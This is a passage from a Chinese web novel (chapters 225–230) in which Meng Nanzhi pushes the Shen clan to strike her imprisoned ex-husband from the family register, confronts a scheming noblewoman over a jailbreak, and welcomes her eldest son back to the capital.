片刻后,才又看到次子沈砚珩从牢里同样疾步走出来。
他表情倒是没有委屈,只带了担忧和着急。
看到她们两个,才松出一口气,“母亲。”
沈朝昭听到他的声音,从孟南枝的怀里探出头来。
她杏眼通红,带着未干的泪痕,“二哥。”
沈砚珩走上前,轻轻摸了摸她的头,温柔道:“没事了,有母亲和我在呢。”
沈朝昭咬着嘴唇,点了点头,拽住孟南枝的衣角,“母亲,我们回去吧。”
“好。”
孟南枝看了眼天牢的方向,眸色微暗。
第225章 将他剔除沈家族谱
沈朝昭不说,孟南枝也大概能猜出她定是在探望沈卿知的过程中,又遭受了冷遇与委屈。
沈卿知,他妄为人父。
孩子受了伤,没有必要再刻意地去追问,在伤口上撒盐。
孟南枝半哄着转移话题,带着他们上了回府的马车。
等他们一行三人慢悠悠地回到孟府时,沈二叔已经带着沈旻在门口等候多时。
还带着满满一车的“薄”礼。
“南枝,我听闻砚珩这些时日一直在满京跑着画图,特地买了许多画图的工具赠于他。还有朝昭,你二婶特地选了些上好的布料和首饰,你看看喜不喜欢,可以给她做几身漂亮的衣裳。”
多日不见的沈二叔明显苍老的许多,配上刻意讨好的笑,暮气更甚。
孟南枝邀他进屋坐下,让月芹给他奉上新茶。
沈二叔双手接过茶盏,轻轻抿了一口,又陪笑道:“南枝,这些都是小东西,你别嫌弃。”
孟南枝看了眼他发间多出来的银发,暗叹一口气,“沈二叔有话不妨直说。”
沈二叔将茶盏放下,笑容淡下来,多了几分苦楚,“南枝,实不相瞒,我今日是来求你的,求你能救救卿知。”
他昨天又喝多了酒,直到今天早上才知道陆筝筝在牢狱被劫,沈卿知被圣上关进天牢的事。
关键他还是被老族长的拐杖给打醒的。
听闻此事时,他没差点给吓死。
劫狱,那可是诛九族的罪。
沈卿知他是嫌命长了?还是觉得沈家的族人太多了?
还好经确认后,罪名未曾落实。
沈卿知只是嫌犯。
他和老族长探讨了半天,都觉得沈卿知的性子不是敢干出这种事的人。
可是他们说的话刑部尚书郭继坤他根本不听。
只让他拿出证据。
他能有什么证据。
自上次陆筝筝入沈家族祠被老族长拒绝,陆筝筝又被孟南枝状告下狱后,他已经很久没去镇北侯府了。
前一段听说沈卿知又闹出寻郎中研制疫病药方,结果却是偷袭洪太医的药方,被上司责令闭门思过后,他对沈卿知的所作所为更加无语。
就更加懒得再去侯府和他沟通了。
所以他根本就不知道沈卿知最近在做些什么。
也没办法为他提供不在场证明。
最关键的原因,还是他作为亲属,不能作为证人去证明沈卿知的清白。
孟南枝表情没有任何变化,只淡淡地说道:“沈二叔这话是折煞我了,镇北侯是被圣上关押的,我如何有那个能力救他。”
沈二叔脸上泛起苦笑,“南枝,我们自家人不说两家话,如今孟相圣宠在握,只要孟相愿意开口求情,圣上说不定会网开一面。”
“你对卿知也了解,他这人做事喜欢稳扎稳打,像劫狱这种得不偿失掉脑袋的事,他是绝不会干的。”
孟南枝闻言冷笑,“这可说不准,他那么想要把陆筝筝入沈家族谱收为继女,当作自己的女儿养,万一是看不得她受苦,真了劫呢。”
还真是自家人会给自己家人护脸。
什么稳扎稳打,沈卿知那明明是叫审时度势、权衡利弊,完全的小人行径。
沈二叔面上一讪,又陪笑道:“南枝,陆筝筝入族谱那事总归不是没成嘛。我也听你二婶说了,她当时也帮了你,这件事就这么算了吧。”
孟南枝端起茶盏抿了一口,没接他的话。
沈二婶与她,那是利益交换。
和这个,是两码事。
她不会将此混为一谈。
见孟南枝不为所动,沈二叔又道:“南枝,我知道你心里恼恨卿知,也恼恨我们沈家。可是卿知他总归是砚修他们三个孩子的父亲。”
“他若被定罪,砚修他们三个孩子也会跟着受累,你总不能看着砚修他们跟着卿知背负污名吧。他们三个孩子还年轻,前程不能就这么毁了呀。”
一直未曾说话的沈砚珩闻言皱眉,“二祖父,我父亲他若清白,您只管等刑部调查便是,为何前来一直逼迫我母亲?”
沈朝昭也瞪着杏眼看着他。
若在侯府,这种大事都是男子议事,轮不到
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她们女子出面的。
可她现在身在孟府,外祖父只有母亲这一个独女,凡事都交给母亲处理。
母亲做事也都带着她,所以才有了她此刻坐在这里,听他们商议父亲之事。
沈二叔被沈砚珩的话噎了一下,脸上闪过一丝尴尬。
他想了想,解释道:“砚珩,你对律法不熟,不管你父亲是否清白,依他与林婉柔和陆筝筝的关系,都会落罪。”
沈砚珩皱眉,他对律法确实是不太熟知。
沈二叔接着道:“陆筝筝是你父亲平妻的女儿,又有将她入沈家族谱的‘前科’,依照大衍律例,犯人被劫,家人连坐。轻则杖刑、罚没财产,重则就要被剥夺爵位、流放千里。”
“按理说,陆筝筝被劫一事尚未查清,你父亲只需被看管起来,等查清便可。可大衍已经二十多年没出现过劫狱一事了,圣上必然是震怒之极,才将你父亲直接关入天牢。”
“二祖父觉得,即便最后查清不是你父亲所为,圣上也会择重处罚你父亲。二祖父担心,到最后怕是要没了我们沈家阴补子孙的特权。”
沈二叔说到这里,又重重地叹了一口气。
沈卿知当初若肯听他一句,不与孟南枝和离,不将陆筝筝纳入族谱,也不至于落到如今这个局面。
沈砚珩闻言皱了皱眉,虽然他很想说他并不稀罕阴补子孙的特权。
可沈家的世子是他大哥,以后的爵位也是大哥的。
或许大哥也不稀罕,但他不能替大哥做决定。
沈朝昭也想到了这一层,她抬眸看了眼二哥沈砚珩,没说话。
孟南枝指尖轻扣桌案,几息后,她抬目看向沈二叔。
“沈二叔,你是想保沈卿知?还是想保沈家的爵位?”
沈二叔闻言瞪大了双眼,“南枝,怎么说?”
虽然孟南枝还没说,但他已经猜到了她的想法。
孟南枝平静的语气中,带着刺骨的寒意。
“若是保沈卿知,怒我无能为力。”
“若是保爵位,将他卿知剔除沈家族谱便是。”
第226章 直击他的命脉
孟南枝话音未落,厅堂内便“哐当”一声脆响炸开!
沈旻手中的青瓷茶盏脱手落地,碎片溅得满地都是。
滚烫的茶水泼在他淡青色锦衣袍角,烫得他猛地站起身。
抬脚时不注意在踩青瓷碎片上,又发出“喀嚓”的破裂声,在寂静到令人窒息的厅堂内显得格外刺耳。
因震惊站起来的沈砚珩与沈朝昭对视一眼,皆从对方的眼睛中看到了不可置信。
但这话是他们母亲提出来的,多年的默契促使他们没有作声,反而同时瞪向唯二的外人沈旻。
在他们兄妹两人的施压下,沈旻一张俊脸憋得通红,张了张嘴,发出无声哀鸣。
他不是故意的,他是真吓着了。
将侯爷剔除沈家族谱?
这得多大的恨意。
“南枝,这,这样不妥。”
沈二叔同样也震惊地站了起来,心口突突直跳。
孟南枝端起茶盏,轻轻抿了一口,语气稀疏平常,“有何不妥?”
“卿知他是我们沈府的家主,乃是经过备案的侯爵,这……”
沈二叔左手紧紧握住檀木椅的把柄,指节因用力而泛白,手背略有发枯的皮肉下青筋鼓起。
沈家后辈无力,青黄不接,沈卿知已经是他兄长当年能挑出来最适合继承爵位的子嗣。
这些年沈卿知继承爵位成为镇北侯后,虽然没有大功,但也无过。
还将沈家慢慢撑了起来,不少旁枝都靠着他的荫庇才得以安身立命。
如今孟南枝提出将他从沈家除名,这不仅是简单地辱没门楣,更是要断了整个沈氏宗族的体面。
再说古往今来,只有侯爷将族人除名,哪有反过来族人将侯爷除名的。
这简直倒翻天罡。
孟南枝面上生了笑,只是那笑意却不达眼底。
“沈二叔,家主如何,侯爵又如何?你当了解他并不能护沈家周全,为沈家谋得长远发展。他一心想要将陆筝筝纳入沈家族谱,就算没参与劫狱,你敢说他对劫狱之事就一丁点都不知情?”
沈二叔在孟南枝的质问中沉默下来。
他敢确认沈卿知没那个魄力去劫狱,但他真不敢肯定地说沈卿知他一丁点都不知情。
在他心里,沈卿知已经完全被林婉柔那个女人给哄得失了心智。
一心认为陆筝筝能攀上奕王。
万一,万一沈卿知要是真知情。
他不敢相像会有什么后果。
见沈二叔面色有所缓和,神情也有所松动,孟南枝决定再添上一把柴火,“劫狱这么大的事,圣上一旦动怒,知情和参与又有何区别?”
“终使他是我三个孩子的父亲,沈二叔,你觉得有我父亲在,修儿他们会受到很大影响吗?反倒是你们,要好好考虑一下得失。”
说到此处,孟南枝将茶盏放下,转换了语气,轻笑道:“当然,你也可以等陆筝筝被劫一案彻底查清,或许他真是清白的也不一定。”
沈二叔抬目看看沈砚珩,又看看沈朝昭。
想到以孟相长外孙名义被圣上安排跟随太子去山城赈灾的沈砚修,双腿有些发软地坐下来。
他心里很清楚,孟南枝说的没错。
陆筝筝被劫一案,沈卿知必然没办法脱得一干二净。
即便沈卿知真的获罪,以圣上对孟相的圣宠,沈砚修他们三个也不会受到太大影响。
而且,沈二叔觉得,孟南枝和孟相现在是巴不得沈卿知所犯罪名更重,好把沈砚修他们划入孟家。
毕竟孟家只有孟南枝她这么一个独女,连个继承人都没有。
想到这里,沈二叔只觉口干舌燥。
他抬手想去端茶盏喝水,却发现手指发颤的根本握不住茶盏。
沈旻见状连忙走到他身侧,关切地握住他的手,“祖父,您没事吧?”
沈二叔摇头,声音有些嘶哑,“我没事。”
他的手很凉,被沈旻握了好一会儿,才停止发颤的有了温度。
轻拍了拍沈旻的手背,示意他不用担心后,沈二叔抬目盯着孟南枝,神情复杂。
半晌,他才开口,“南枝,这件事,没有那么容易。”
孟南枝闻言面上有了实质性笑意。
她站起身,缓缓走到沈二叔身侧,亲自给他沏了热茶,并递到他手中。
“沈二叔,这件事容易于否,全看你怎么想。
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”
沈二叔盯着那水中涟漪,再次沉默下来。
他手指不稳地端起茶盏,开始一个劲地喝水。
一杯、一杯,又一杯。
直到孟南枝示意女儿沈朝昭去换第三个茶壶时,他才将茶盏放下。
再抬头时,沈二叔浑浊的眸光中,带着几分清明道:
“容我回去和老族长商议一下。”
……
出了孟府。
沈家马车内,沈二叔从怀里掏出两粒黑色药丸,未喝水直接干吞咽下。
沈旻有些担心地将水壶递给他,“祖父。”
“不用。”
沈二叔摆了摆手,捂着胸口坐下来。
太压抑了,孟南枝说的话差点让他引出心疾。
沈旻收起水壶,表情有些踌躇,“祖父,您当真同意孟夫人的提议?”
沈卿知可是侯爷。
他们今天来的目的是让孟南枝去救侯爷。
结果礼送了,人没救成,祖父还反被孟南枝说通要去剔除侯爷的族名。
他到现在还没想明白,事情是怎么发展成这个样子的。
沈二叔看着眼前让他引以为傲的长孙,暗叹一口气。
若是旻儿早生几十年,投生在兄长家该多好。
但总归是没有如果。
他握住沈旻的手,反问道:“旻儿,祖父问你,若是现在让你去做平民,你可愿意?”
沈旻垂下头,沉默下来。
他自出生便受着侯爵的阴补。
不用努力便可获得田产和财物,衣食无忧,无需耕种劳作,还可免缴赋税,不用受饥荒、徭役之苦。
等他弱冠后,受家族荫庇,不用参加科举,便可获得入仕资格,终使官职不高,也能保他脱节于平民。
若是他本人能力出众,讨得上司欢喜,何愁日子不能过得滋润。
可若是突然让他抛开这一切,去做平民。
他……
沈二叔已经从沈旻的沉默中得到答案。
他身子往后移了一下,背靠在车壁上,满眼皆是疲惫。
孟南枝啊孟南枝。
不亏是孟相亲自教养的女儿。
不出手还好。
一出手,便直击他的命脉。
第227章 少年终要长大
沈二叔走后,孟府厅堂一时陷入寂静。
沈朝昭看着孟南枝,拽了下沈砚珩的衣角。
沈砚珩皱着眉头冲她摇了摇头,并做了个“嘘”的手势。
注意到他们兄妹之间小动作的孟南枝,唇角微微勾起,“累了一天,你们也去歇着吧。”
“那母亲您也好好休息,我和妹妹先下去了。”
沈朝昭刚想说不累,就被沈砚珩强拉着走出去。
到了庭院,沈朝昭甩开沈砚珩的手。
“二哥,你怎么不让我问问母亲?”
沈砚珩看了眼身后,确定母亲和下人都没有跟来,低声问道:“你想问母亲什么?”
“我想问母亲……”
沈朝昭说到一半,便哑了舌。
是啊,她问什么。
难道要质问母亲为什么和沈二祖父说将父亲的名字剔除族谱吗?
她清楚地知道母亲所做的一切,都是为了他们。
再去不满母亲,就有些不懂事了。
沈砚珩见她已经绕过来弯,轻拍了拍她的肩膀,“朝昭,陆筝筝是因为母亲住的牢狱,她现在被人劫出去,我担心她万一发了疯,会报复母亲报复你。”
“你打起精神,这几日陪着母亲,别出府了,学堂的事可以停一停,让陈姑娘去做就行。”
他刚知道妹妹要在慈幼堂开学堂教那些孤女手艺时,还稀奇地觉得妹妹开了窍。
不过略一思索便知道妹妹提出这个想法,应该又是母亲引导的。
母亲回来后,一直都在想方设法地纠正他们的不良习惯,并为他们铺上最适合的道路。
所以,对于母亲提及将父亲从沈家族谱剔除时,他虽然震惊,却并不是不能接受。
母亲如此做,必然有她如此做的道理。
沈朝昭闻言点了点头,“我知道了,二哥,我会守着母亲的。那你呢?”
比起两位兄长,她是愚笨了点。
但孰轻孰重,她还是分得清的。
沈砚珩笑道:“我也不出去了,散学我就回来。”
图纸没有母亲重要。
若不是知道母亲不会让他逃课,他还真想请假待在家里。
……
山城,边界。
沈砚修的腿伤依旧没好。
因为回京,他脱掉粗布衣衫,重新换上了印有青竹的月白锦袍,腰间配着深青色玉带,消瘦的身姿挺拔如松。
只是双手柱着的拐杖,煞了风景。
他脱了青稚的脸上,此刻带了丝不舍,“你,当真不回京都?”
站在他对面的明挽月依旧一身绯衣劲装,明眸皓齿。
她摇了摇头,再次肯定地答道:“不回,我与母亲出来时,和祖母说好了,等这边洪灾结束就回去。”
说到最后,明挽月略有好奇地盯着他,“沈砚修,你是不是脑子摔傻了?我已经和你说过好几遍我不回京都了,你怎么还问?”
沈砚修看着她那张不掩丝毫情绪的脸,面上生了笑,“是,摔傻了。”
“真傻了?”
明挽月惊了一下,抬手去摸他的脑袋。
要知道她印象里的沈砚修总是喜欢和她对着干,从没这么好声好气地和她说过话。
将军安排她看着他,他竟然背着她跑出去看人盖房子。
结果房梁落下来,砸伤他本就快好的脚,导致他现在还柱着拐。
害她任务没完成,生了半天的气,他却笑嘻嘻地说没关系。
看出明挽月眼中的担心,沈砚修笑道:“骗你的。”
明挽月收回快要摸上他脑袋的手,直接改为弹了下他的脑门,哼着鼻子道:“诡计多端,小人行径。”
沈砚修也不生气,回头看了眼正和谢归舟说话的明程氏,低声询问:“你和你母亲这次回边关后,准备什么时候再回京都?”
明挽月同他一起看了眼母亲,摇了摇头,“我也不知道,怎么?你想见我?”
虽然知道明挽月性子真爽,但沈砚修还是不能够完全适应她的直接。
他下意识地想要摇头,又顺从内心地点了点头。
明挽月看他这般模样,有些嫌弃:“你们这些京都的公子哥儿,就是扭捏。想见就直说嘛,还非要拐弯抹角。”
沈砚修被她说得有些不好意思,被晒成麦色的耳尖微微泛红,“我,我是想说我们的婚约……”
只是他话还没说完,就被和谢归舟讲完话的明程氏打断。
“挽月
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,我们该走了。”
“好嘞。”明挽月回完母亲,扬起头继续看着沈砚修,“婚约怎么了?你快说。”
沈砚修看了眼已经走近的明程氏,面上保持得体的笑,“没什么,你快和你母亲回去吧。”
走近的明程氏对他微微颔首,“沈世子,回京后,还请代我向你母亲问好。”
沈砚修将拐杖放在腋下,拱手作揖,礼数周全。
“明夫人放心,晚辈定会带到。只是此回边关,山高水长,还望夫人与挽月姑娘一路保重。若有需要晚辈之处,尽管差人送信到京都。”
明程氏见他如此知礼,面上露出几分赞许之色。
“沈世子客气了,你腿伤未愈,也莫要在外久留,早些和将军一起回去吧。”
说罢,她便拉着明挽月,对谢归舟轻轻点头后,潇洒地登上马匹。
明挽月同样利落地翻身上马后,回头冲沈砚修喊道:“沈砚修,你回京都后记得给我写信!”
沈砚修望着她在阳光下如刺梅花一样的笑脸,心中微动,高声应道:“不会忘的!”
谢归舟看着他们两个如此朝气的模样,冷清的眸子里露出笑意。
目送她们母女离开后,沈砚修扭过头对上谢归舟的脸,一时有些拘束,“将军。”
谢归舟微微颔首,等着他与自己一起同行。
“京都传来消息,陆筝筝在狱中被劫,你父亲被圣上押入天牢。”
沈砚修闻言喉间滚了几滚,声音有些失真,“是我父亲劫的狱?”
谢归舟上次秘密进京回来后,已经将陆筝筝入狱的消息告诉了他。
沈砚修刚听闻时,心里跟缺了口一样难受。
可当得知陆筝筝竟然是因为污蔑母亲声名,还想买凶试图杀他母亲时。
心中对她仅留的那一丝眷恋,也彻底烟消云散了。
陆筝筝简直是触到了他的逆麟。
谢归舟没有瞒他,“并未证实,只是嫌犯。”
垂眸确定沈砚修情绪还算稳定后,他才又接着说道:“你要做好准备。”
“等你回京后,迎接你的必然是一场暴风雨。”
少年终要长大。
镇北侯府,该换天了。
第228章 水太烫,没拿稳
陆筝筝消失了。
整整三日,刑部尚书郭继坤命应天府尹闵大人下令关闭京都九门,在城门、驿站、渡口设下三重关卡。
凡出城者皆需验明路引,女子一律细查。
为防陆筝筝女扮男装,连身材瘦弱的男子,都要摸衣验身。
同时应天府着人绘制陆筝筝的画像,张贴于各坊市街巷,悬赏千两白银缉拿,并在告示末尾,明晃晃地写着“知情不报者,依连坐法处置。”
可即便如此,也依旧没有找到陆筝筝。
更是连那群**的影子都没见着。
为此,郭继坤不得不奏请圣上,让禁卫军接管京都防卫,增派大量人手,在京都内外展开地毯式搜索。
朝堂之上,林则温遭受政敌**,说其作为陆筝筝的外祖父有暗中协助陆筝筝逃脱的嫌疑。
作为官场“老油子”的林则温没有辩驳一句,直接跪地恳请圣上责罚。
反倒是他的门生接连跪地为其求情,言辞恳切地诉说林则温多年来为朝廷尽心尽力,绝无可能做出此等大逆不道之事。
圣上萧潜雍看着全程垂眸不语的左相,以及平淡无波的孟正德,最终责令林则温在家闭门思过,此事未了前,无诏不得外出。
……
沈家老宅。
自沈二叔从孟府回来,和老族长提及孟南枝的想法后,老族长“病了”整整三日。
他心口疼得喘不过来气,以为自己可以就此解脱,不用管这档烂摊子。
偏偏阎王爷不收他,每天吊着一口气,就是死不了。
得知林婉柔的父亲林则温也被圣上责罚后,不得不打起精神,命人通知沈家各地旁支代表到京都来沈家宗祠议事。
……
孟南枝这几日过得很舒心。
女儿沈朝昭不再外出,每日练鞭之余,便是缠着她让她讲述小时候的事。
次子沈砚珩散学便会归家,同她讲述书院的趣事,也会拿教授的一些考题同她一起探讨。
父亲孟正德虽然依旧很忙,但至少每天准备回府,没再在官署过夜。
想到天气已经变凉,长子也快回京,孟南枝就带着沈朝昭去铺子给他做了几件稍加厚实的秋衣。
等出铺子的时候,又恰好碰到从门口经过的陈国公世子孙夫人和茗央郡主。
陈茗央似乎多日没有睡好,虽然施了粉黛,也能看到她眼下有些泛青。
孙夫人一改上次的傲气,姿态平和地同孟南枝笑道:“南枝,一起坐坐?”
对方明显是专门为她而来,孟南枝也就没有拒绝,随她一起进了最近的茶楼。
雅间内,小二上完茶点便已退下。
孙夫人涂有蔻丹的芊芊玉手从身后丫鬟提着的礼盒中,取出一枚镶金玉佩递到沈朝昭面前。
“朝昭,上次走得急,给你准备的礼物都忘记拿给你了。这可是我特意为你挑选的,看看是否喜欢?”
沈朝昭皱了皱秀眉,没有去接。
上次见面,孙夫人还在她和母亲面前趾高气扬地摆谱呢。
这才几天,就跟换了一张脸一样,突然这么和气地给她送礼。
她是不够聪慧,但又不是傻。
还能看不出她又是想耍什么阴谋诡计?
孟南枝扫了眼玉佩,轻笑道:“孙夫人,这玉佩瞧着倒是精致,只是无功不受禄,我家昭儿怕是受不起孙夫人这般厚礼。”
孙夫人眼神微闪,面上笑意却不减分毫。
“南枝你这话就见外了,怎么说我也是长辈,长辈给晚辈送点见面礼,也是应该的。况且,我一直都很喜欢朝昭这孩子,就当是给她的一份心意罢了。”
孟南枝端起茶盏,轻抿了一口,放下后不紧不慢地说道:“孙夫人如此盛情,倒是让我有些惶恐了。只是昭儿年纪尚小,实在不宜收如此贵重之物。”
“再者,我记得我们之间,并没有如此亲近,你这礼,恕我们实在不敢收。”
陈茗央听到此处,露出一丝不悦,“孟夫人,我母亲不过是真心喜欢昭儿,想与她亲近亲近,您百般拒绝,还如此阴阳我母亲是何意?”
沈朝昭见她对母亲如此没有礼貌,也瞪着杏眼怒道:“茗央郡主,我母亲与你母亲往日并无深交,且你母亲前几日才对我们母女诸多傲慢。”
“今
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日突然这般热络,转变得实在可疑。若真有心,不妨先说明来意,这般藏着掖着,还好意思说别人。”
“你不可理喻。”陈茗央一时语塞。
沈朝昭下巴上扬,“你才不可理喻,我不过是实话实说罢了。你们突然这般殷勤,谁知道背后藏着什么算计。”
孟南枝没有阻止女儿和陈茗央的争辩,只静静地瞥了孙夫人一眼。
孙夫人见她们母女态度这般坚决,脸上的笑容渐渐收敛。
她沉默了片刻,将玉佩重新放回礼盒,递给身后的丫鬟,并示意她出去。
待雅间内只留下她们四人,孙夫人才又缓缓开口,道:“南枝,前几日是我不对,说话没有注意分寸。但既然陆筝筝的事,你都办妥了。我们之间的误会,是不是也该过去了?”
孟南枝闻言眉峰微蹙,“什么陆筝筝的事?”
孙夫人笑道:“南枝,我上次都和你说了,我们的目标是一致的。”
她拿起孟南枝的空杯,往里面倒了茶,又笑着递给孟南枝。
“南枝,说起来,陆筝筝被劫,得利最大的是你吧?”
沈朝昭冲动地想要站起来,却被孟南枝按下。
孟南枝看着孙夫人似抓着她把柄趾高气扬的模样,唇角微微勾起,接过她手中的茶杯。
孙夫人正得意之余,准备说出下句话时,孟南枝手中的杯子就“砰”一声落在桌案上。
滚烫的茶水溅在孙夫人的手背上,直接起了零星的红疹。
“孟南枝!”孙夫人捂着发红的手背,精致的面容有些狰狞。
孟南枝面上带着笑,眸色却格外冷冽,“真不好意思,水太烫,没拿稳。”
“孟夫人,我母亲好心与你交谈,你竟这般对待她。”陈茗央站起身,并不满孟南枝的解释。
孟南枝轻捋裙摆站起来,轻笑着指了指自己的脑袋,“茗央郡主,劝你有空带你母亲去太医院看看这里。”
这是孟南枝第二次说她脑子有问题了。
孙夫人强忍着手背的疼痛,眯着眼睛站起来。
“孟南枝,陆筝筝难道真的不是被你劫走的?”
第229章 本侯要见孟南枝
这话一出,最先震惊的是陈茗央。
她惊讶地看了眼母亲,才又去看孟南枝。
也是到这一刻,她才明白刚才孟南枝为什么那么生气。
是她母亲的无端猜测惹恼了孟南枝。
但想明白母亲的怀疑后,陈茗央也怀疑地看向孟南枝,想知道陆筝筝究竟是不是被她劫走的。
毕竟母亲说的也没错,陆筝筝被劫后,镇北侯、林婉柔双双入狱,林婉柔的父亲林则温闭门思过。
得利最大的确实是孟南枝。
孟南枝鼻间发出冷哼,满脸不屑,“孙夫人,别把所有人都想得和你一样。”
“你当真没有?”
孙夫人紧紧盯着孟南枝的眼睛,确定她说的是真的后,不顾手背疼痛地坐下来。
眉头紧皱着陷入沉思,低喃道:“不是你做的,那是谁?难道真的是奕王?”
奕王萧临渊被自请禁足一事,没有几个人知道。
她还是从陈老夫人身边的嬷嬷嘴里才得知。
那位老嬷嬷,与奕王母妃身边的嬷嬷相熟。
孙夫人刚知道陆筝筝被劫一事时,吓了一跳。
随着镇北侯、林婉柔入狱,她越发肯定这件事应该是孟南枝做的。
还暗里嘲笑孟南枝面上装得多正经,背地里还不是为了不与自己的长子起隔阂,直接把陆筝筝劫走,准备弄死她。
可眼下这情形,难道真的是她猜错了?
孟南枝却不管孙夫人怎么想,带着沈朝昭直接出了雅间。
结果刚出雅间,就看到刘捕头带着几个褐衣衙役步履匆匆地往这赶。
扭头看了眼尚在雅间内的孙夫人和茗央郡主,孟南枝暗道一声:晦气!
刘捕头似没想到在这遇到孟南枝,连忙拱手行了礼,“孟夫人。”
孟南枝微微颔首,“刘捕头这是?”
刘捕头没有隐瞒,“接到举报说这里可能有逃犯陆筝筝的信息,特地过来看看。”
孟南枝挑眉,“可是里面的人举报的?”
刘捕头抬头看了眼雅间内的孙夫人和茗央郡主,缩着脖子陪笑道:“孟夫人说笑了,举报人是个过路的小贩,跟茗央郡主没有关系。”
他这几日接到的举报太多了,真正有用的却不多。
孟南枝闻言没有再多说,侧身让他们过去。
刘捕头带着衙役将茶楼翻了个遍,也没问出具体有用的信息。
至于马夫人和茗央郡主的雅间,他们自然是不敢进的,只在门口露了个头,略微一扫,就算检查过了。
出了茶楼,坐上回府的马车后,沈朝昭还有些气不过。
“母亲,这孙夫人实在太过分了。”
孟南枝轻笑着拍了拍女儿的脑袋,“不必与她置气,当利益蒙蔽双眼时,最容易影响判断,也容易做错事。”
沈朝昭眼珠子微转,小声问道:“母亲,孙夫人为什么一直想要找陆筝筝的麻烦?是不是茗央郡主心悦奕王啊?”
“你看出来了?”孟南枝眼着女儿的眼睛轻笑。
沈朝昭点了点头,嘴唇轻抿,“茗央郡主以前就喜欢缠着奕王。”
顿了顿,她又道:“母亲,陆筝筝被劫是不是奕王做的?”
孟南枝看着女儿眼中略带几分担忧的样子,眸色微暗,轻笑道:“应该不是,等刑部探查结果吧。”
沈朝昭闻言沉默下来,没再追问。
又过两日。
孟南枝听父亲说刑部查到一点黑衣人的踪迹。
城郊一户人家,登记的是三人,便每日所买的菜量却足有十人之多。
卖菜的小贩察觉出异常,向应天府举报。
只可惜等刘捕头带着衙役过去时,已经人去屋空。
但屋内换洗的衣物,还有树根埋掉的药渣,都证明受伤的人可能是陆筝筝。
这所院子后面便是河道,通过河道可以直通京外。
他们怀疑劫走陆筝筝的人,已经通过河道逃出了京都。
刑部尚书郭继坤只得连夜加急下发海捕文书,传令周边州府协同查揖,并要求各地将排查结果每日辰时汇总上报。
圣上萧潜雍得知此事后,龙颜大怒。
责令郭继坤务必在最短的时间内将陆筝筝缉拿归案,若再出现这般线索中断、让嫌犯逃脱的情况,便要严惩不贷。
同时
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并下令让禁卫军对京官进行严查,核查是否有通敌失职。
在天牢的镇北侯沈卿知,也已经从一天两顿饭,变成了一天一顿饭。
他饿得浑身发虚,唯有蹲在角落才能保持些许体力。
牢房里阴暗潮湿,即便换上沈朝昭给他送来的新衣,身上也依旧出现了馊味。
他现在满脑子都在左右互搏。
一边后悔得不行,应该哄着女儿,让女儿和孟南枝说,先把他保出去。
另一边又认为陆筝筝此难过后必有大福,要坚定不移地站在陆筝筝这边。
就在他内心纠结万分之时,牢房外传来一阵脚步声。
沈卿知猛地抬起头,眼中闪过一丝期待,以为是女儿又来探望他了。
结果等牢门打开,却是侍卫向牢里扔进来一个干硬的馒头。
沈卿知本不想去捡,可他实在饿得厉害。
等他捡起来往嘴边送时,却看到上面沾着的老鼠屎,又恶心地趴在地上呕吐起来。
半晌,他才抬起头,眼睛死死盯那个馒头,尝试了几次,还是咬不下去。
最终,他将馒头扔至一边,开始用力地拍打牢门。
“开门,本侯要见户部尚书林大人。”
牢门外传来侍卫冷漠的声音:“镇北侯,林大人如今自顾不暇,可没功夫见你。”
沈卿知一愣,“林大人他怎么了?”
侍卫道:“林大人被圣上责令闭门思过。”
沈卿知心口突地跳了一下,“奕王殿下呢?”
侍卫这次过了好一会儿才回道:“镇北侯还是自求多福吧。”
沈卿知闻言瞪大双眼,心中涌起一阵绝望,他有些双腿发软的中蹲下身子。
缓了好一会儿,他才又去拍打牢门。
“本侯要见孟相。”
“本侯要见孟南枝。”
“本侯要见我的子女。”
……
孟南枝不知道沈卿知想见她。
知道也不会去。
她收到父亲递回来的消息,太子一行已经快到京都边界。
预计不到傍晚,就会赶到京都。
她的长子,沈砚修总算回来了。
第230章 长子沈砚修回京
秋日的烈风吹过京都主街,官道上马蹄声阵阵。
太子萧明渊未乘马车,身着月白流云锦袍立于马背上,面容温润的眉宇间带着雍容与通透。
在他左侧,是一身玄色劲装外套墨色织金软甲的谢归舟,身姿挺拔,神情冷冽。
右侧则是青衣锦袍的沈砚修,略显稚嫩的脸上此刻多了份稳重,黝黑的眼眸亮得像是淬了光。
在他们身后,是被重兵押送的三辆囚车。
车内三名官员披枷戴锁,头发散乱若枯草,面色蜡黄沾着泥土,身上的官服也磨得褴褛。
他们分别是山城知府、山城通判,以及马文青的父亲辉县县令。
山城九曲河决堤一案,上到知府****,下到基层**,致使数万百姓流离失所,房屋田地被淹没无数。
除去现场直接被太子用尚方宝剑斩杀的外,被押解回京的山城知府、山城通判,便是此案中罪证确凿且情节恶劣者。
至于辉县县令马大人,因其子马文青供出向平阳公**,被查出为政期间在辉县境内强征民夫,私建豪华府邸,还强抢民女养了十八方妾室。
此番被押解回京,一为落实平阳公案,二为深查背后是否另有主谋。
随着囚车缓缓前行,街边的百姓们纷纷围拢过来,对着囚车里的官员指指点点,口中骂声不断。
山城虽远,但赴京的流民造成疫病流传,他们家中有人因此丧生,或是田地房屋被毁,生活陷入困境。
如今看到这些罪魁祸首被抓,心中自是愤恨不已。
不知是谁先起了头,往囚车里砸向一颗烂白菜,紧接着臭鸡蛋、破布头都砸了过去。
三个**低缩着脖子躲着不敢言语,狼狈至极。
看押的侍卫没有阻拦,这样的情景在一路出山城的时候已经经历了好多次。
太子一行虽未停留,但谢归舟的视线一直在敏锐地观察四周。
直到路过一条小巷,看到那里停留的孟府马车,他指尖才下意识地蜷了蜷。
孟南枝一袭木兰青双绣缎裳,配累珠叠纱粉霞茜裙,发髻高挽,几缕碎发垂落在白皙的脖颈旁,正垫着脚往他们这个方向望。
直看到马背上挺拔如青竹的沈砚修,她清亮的眸间才落了笑。
“是大哥。”
沈朝昭一袭粉霞锦绶藕丝罗裳,配玉色绣折枝堆花襦裙,与她一同站在暮光里。
孟南枝颔首,笑着止住了女儿想要大喊着打招呼的手。
“你大哥要先进宫。”
沈朝昭点点头,看着沈砚珩立在马背上的模样,双眼亮若繁星。
“大哥真威武。”
“太子真气派。”
“将军真……”
说到这里,沈朝昭余光瞥了一眼母亲,卡在喉间的那句“好看”禁了声。
一心在长子身上的孟南枝,没注意到女儿的低语。
经过山城一行,长子黑了,也瘦了。
她前日里专门为他定制的秋装,需要改一改。
想到这里,孟南枝带着女儿转身登上马车,开始往回走。
注意到她举动的谢归舟,眸色微暗,双腿用力夹了下马匹,速度便提快了一些。
太子萧明渊见状若有所思地看了他一眼,也提了下马速。
唯有沈砚修,因为腿伤还未完全好,勉强才跟上去。
……
天色已晚。
孟府满院点燃了烛光,影影绰绰,满目生暖。
